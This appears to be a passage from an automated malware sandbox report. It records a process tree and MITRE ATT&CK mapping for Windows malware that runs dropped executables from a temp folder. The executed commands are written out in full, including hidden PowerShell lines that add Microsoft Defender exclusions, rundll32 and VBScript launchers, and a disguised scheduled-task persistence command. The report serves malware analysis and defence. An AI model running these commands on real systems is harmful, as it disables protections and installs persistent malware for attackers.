      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:5932
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\AppData\cache\mrx70x5cef62\update_d654.exe""
    3⤵
    - Executes a command shell one-liner
    PID:4180
  - - C:\Windows\system32\reg.exe
      reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\AppData\cache\mrx70x5cef62\update_d654.exe"
      4⤵
      PID:4772
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\AppData\cache\mrx70x5cef62\redist_setup_c8.exe'""
    3⤵
    - Executes a command shell one-liner
    PID:4928
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\AppData\cache\mrx70x5cef62\redist_setup_c8.exe'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:3636
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\AppData\cache\mrx70x5cef62\redist_setup_c8.exe""
    3⤵
    - Executes a command shell one-liner
    PID:5240
  - - C:\Windows\system32\reg.exe
      reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\AppData\cache\mrx70x5cef62\redist_setup_c8.exe"
      4⤵
      PID:5976
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\AppData\cache\mrx70x5cef62\update_d654.exe' -ErrorAction SilentlyContinue""
    3⤵
    - Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
    - Hide Artifacts: Hidden Window
    - Hide Artifacts: Ignore Process Interrupts
    PID:5912
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\AppData\cache\mrx70x5cef62\update_d654.exe' -ErrorAction SilentlyContinue"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:4756
- - C:\Users\Admin\AppData\Local\Temp\AppData\cache\mrx70x5cef62\update_d654.exe
    C:\Users\Admin\AppData\Local\Temp\AppData\cache\mrx70x5cef62\update_d654.exe
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:1820
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "cmd.exe /c start "" "C:\Users\Admin\AppData\Local\Temp\AppData\cache\mrx70x5cef62\update_d654.exe""
    3⤵
    - Executes a command shell one-liner
    PID:2704
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c start "" "C:\Users\Admin\AppData\Local\Temp\AppData\cache\mrx70x5cef62\update_d654.exe"
      4⤵
      Executes a command shell one-liner
      PID:3472
    - - C:\Users\Admin\AppData\Local\Temp\AppData\cache\mrx70x5cef62\update_d654.exe
        
        "C:\Users\Admin\AppData\Local\Temp\AppData\cache\mrx70x5cef62\update_d654.exe"
        5⤵
        Executes dropped EXE
        
        PID:4972
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "explorer.exe "C:\Users\Admin\AppData\Local\Temp\AppData\cache\mrx70x5cef62\update_d654.exe""
    3⤵
    - Executes a command shell one-liner
    PID:4804
  - - C:\Windows\explorer.exe
      explorer.exe "C:\Users\Admin\AppData\Local\Temp\AppData\cache\mrx70x5cef62\update_d654.exe"
      4⤵
      PID:5648
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "rundll32.exe url.dll,FileProtocolHandler "C:\Users\Admin\AppData\Local\Temp\AppData\cache\mrx70x5cef62\update_d654.exe""
    3⤵
    - System Binary Proxy Execution: Rundll32
    PID:5056
  - - C:\Windows\system32\rundll32.exe
      rundll32.exe url.dll,FileProtocolHandler "C:\Users\Admin\AppData\Local\Temp\AppData\cache\mrx70x5cef62\update_d654.exe"
      4⤵
      Checks computer location settings
      System Binary Proxy Execution: Rundll32
      PID:5612
    - - C:\Users\Admin\AppData\Local\Temp\AppData\cache\mrx70x5cef62\update_d654.exe
        
        "C:\Users\Admin\AppData\Local\Temp\AppData\cache\mrx70x5cef62\update_d654.exe"
        5⤵
        Executes dropped EXE
        
        PID:4436
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\AppData\cache\mrx70x5cef62\update_d654.exe' -WindowStyle Hidden""
    3⤵
    - Hide Artifacts: Hidden Window
    PID:1092
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -WindowStyle Hidden -Command "Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\AppData\cache\mrx70x5cef62\update_d654.exe' -WindowStyle Hidden"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:3992
    - - C:\Users\Admin\AppData\Local\Temp\AppData\cache\mrx70x5cef62\update_d654.exe
        
        "C:\Users\Admin\AppData\Local\Temp\AppData\cache\mrx70x5cef62\update_d654.exe"
        5⤵
        Executes dropped EXE
        
        PID:6060
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\msihelp_824176.vbs""
    3⤵
    - Executes a command shell one-liner
    PID:5940
  - - C:\Windows\system32\wscript.exe
      wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\msihelp_824176.vbs"
      4⤵
      Checks computer location settings
      Executes a VBScript file via the Windows Script Host.
      PID:2552
    - - C:\Users\Admin\AppData\Local\Temp\AppData\cache\mrx70x5cef62\update_d654.exe
        
        "C:\Users\Admin\AppData\Local\Temp\AppData\cache\mrx70x5cef62\update_d654.exe"
        5⤵
        Executes dropped EXE
        
        PID:5780
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\AppData\cache\mrx70x5cef62\redist_setup_c8.exe' -ErrorAction SilentlyContinue""
    3⤵
    - Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
    - Hide Artifacts: Hidden Window
    - Hide Artifacts: Ignore Process Interrupts
    PID:5540
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\AppData\cache\mrx70x5cef62\redist_setup_c8.exe' -ErrorAction SilentlyContinue"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:3600
- - C:\Users\Admin\AppData\Local\Temp\AppData\cache\mrx70x5cef62\redist_setup_c8.exe
    C:\Users\Admin\AppData\Local\Temp\AppData\cache\mrx70x5cef62\redist_setup_c8.exe
    3⤵
    - Drops startup file
    - Executes dropped EXE
    - Adds Run key to start application
    PID:816
  - - C:\Windows\SYSTEM32\schtasks.exe
      schtasks /create /tn "MicrosoftRuntimeBroker" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\Security\Health\HealthService.exe" /sc daily /st 00:00 /rl limited /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:1592
  - - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\RuntimeBroker\RuntimeBroker.exe
      "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\RuntimeBroker\RuntimeBroker.exe"
      4⤵
      Executes dropped EXE
      Suspicious behavior: AddClipboardFormatListener
      Suspicious behavior: EnumeratesProcesses
      PID:888
    - - C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /query /tn "MicrosoftRuntimeBroker"
        5⤵
        
        PID:5744
    - - C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /query /tn "MicrosoftRuntimeBroker"
        5⤵
        
        PID:1976
    - - C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /query /tn "MicrosoftRuntimeBroker"
        5⤵
        
        PID:2316
    - - C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /query /tn "MicrosoftRuntimeBroker"
        5⤵
        
        PID:2392
    - - C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /query /tn "MicrosoftRuntimeBroker"
        5⤵
        
        PID:4992
    - - C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /query /tn "MicrosoftRuntimeBroker"
        5⤵
        
        PID:4432
    - - C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /query /tn "MicrosoftRuntimeBroker"
        5⤵
        
        PID:2440
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "cmd.exe /c start "" "C:\Users\Admin\AppData\Local\Temp\AppData\cache\mrx70x5cef62\redist_setup_c8.exe""
    3⤵
    - Executes a command shell one-liner
    PID:2196
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c start "" "C:\Users\Admin\AppData\Local\Temp\AppData\cache\mrx70x5cef62\redist_setup_c8.exe"
      4⤵
      Executes a command shell one-liner
      PID:4936
    - - C:\Users\Admin\AppData\Local\Temp\AppData\cache\mrx70x5cef62\redist_setup_c8.exe
        
        "C:\Users\Admin\AppData\Local\Temp\AppData\cache\mrx70x5cef62\redist_setup_c8.exe"
        5⤵
        Executes dropped EXE
        
        PID:4812
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "explorer.exe "C:\Users\Admin\AppData\Local\Temp\AppData\cache\mrx70x5cef62\redist_setup_c8.exe""
    3⤵
    - Executes a command shell one-liner
    PID:2164
  - - C:\Windows\explorer.exe
      explorer.exe "C:\Users\Admin\AppData\Local\Temp\AppData\cache\mrx70x5cef62\redist_setup_c8.exe"
      4⤵
      PID:3604
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "rundll32.exe url.dll,FileProtocolHandler "C:\Users\Admin\AppData\Local\Temp\AppData\cache\mrx70x5cef62\redist_setup_c8.exe""
    3⤵
    - System Binary Proxy Execution: Rundll32
    PID:4068
  - - C:\Windows\system32\rundll32.exe
      rundll32.exe url.dll,FileProtocolHandler "C:\Users\Admin\AppData\Local\Temp\AppData\cache\mrx70x5cef62\redist_setup_c8.exe"
      4⤵
      Checks computer location settings
      System Binary Proxy Execution: Rundll32
      PID:4528
    - - C:\Users\Admin\AppData\Local\Temp\AppData\cache\mrx70x5cef62\redist_setup_c8.exe
        
        "C:\Users\Admin\AppData\Local\Temp\AppData\cache\mrx70x5cef62\redist_setup_c8.exe"
        5⤵
        Executes dropped EXE
        
        PID:3700
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\AppData\cache\mrx70x5cef62\redist_setup_c8.exe' -WindowStyle Hidden""
    3⤵
    - Hide Artifacts: Hidden Window
    PID:400
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -WindowStyle Hidden -Command "Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\AppData\cache\mrx70x5cef62\redist_setup_c8.exe' -WindowStyle Hidden"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:5328
    - - C:\Users\Admin\AppData\Local\Temp\AppData\cache\mrx70x5cef62\redist_setup_c8.exe
        
        "C:\Users\Admin\AppData\Local\Temp\AppData\cache\mrx70x5cef62\redist_setup_c8.exe"
        5⤵
        Executes dropped EXE
        
        PID:2304
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\wusetup_d1b14f.vbs""
    3⤵
    - Executes a command shell one-liner
    PID:1244
  - - C:\Windows\system32\wscript.exe
      wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\wusetup_d1b14f.vbs"
      4⤵
      Checks computer location settings
      Executes a VBScript file via the Windows Script Host.
      PID:5384
    - - C:\Users\Admin\AppData\Local\Temp\AppData\cache\mrx70x5cef62\redist_setup_c8.exe
        
        "C:\Users\Admin\AppData\Local\Temp\AppData\cache\mrx70x5cef62\redist_setup_c8.exe"
        5⤵
        Executes dropped EXE
        
        PID:5648

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
PID:5408
- C:\Users\Admin\AppData\Local\Temp\AppData\cache\mrx70x5cef62\update_d654.exe
  "C:\Users\Admin\AppData\Local\Temp\AppData\cache\mrx70x5cef62\update_d654.exe"
  2⤵
  - Executes dropped EXE
  PID:4292

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\RuntimeBroker\RuntimeBroker.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\RuntimeBroker\RuntimeBroker.exe
1⤵
- Executes dropped EXE
PID:5104

C:\Users\Admin\AppData\Local\Microsoft\Windows\Security\Health\HealthService.exe
C:\Users\Admin\AppData\Local\Microsoft\Windows\Security\Health\HealthService.exe
1⤵
- Executes dropped EXE
PID:2016

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
PID:2192
- C:\Users\Admin\AppData\Local\Temp\AppData\cache\mrx70x5cef62\redist_setup_c8.exe
  "C:\Users\Admin\AppData\Local\Temp\AppData\cache\mrx70x5cef62\redist_setup_c8.exe"
  2⤵
  - Executes dropped EXE
  PID:3512

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Hide Artifacts

T1564

File/Path Exclusions

T1564.012

Hidden Window

T1564.003

Ignore Process Interrupts

T1564.011

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

System Binary Proxy Execution

T1218

Rundll32

T1218.011

Virtualization/Sandbox Evasion

T1497

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...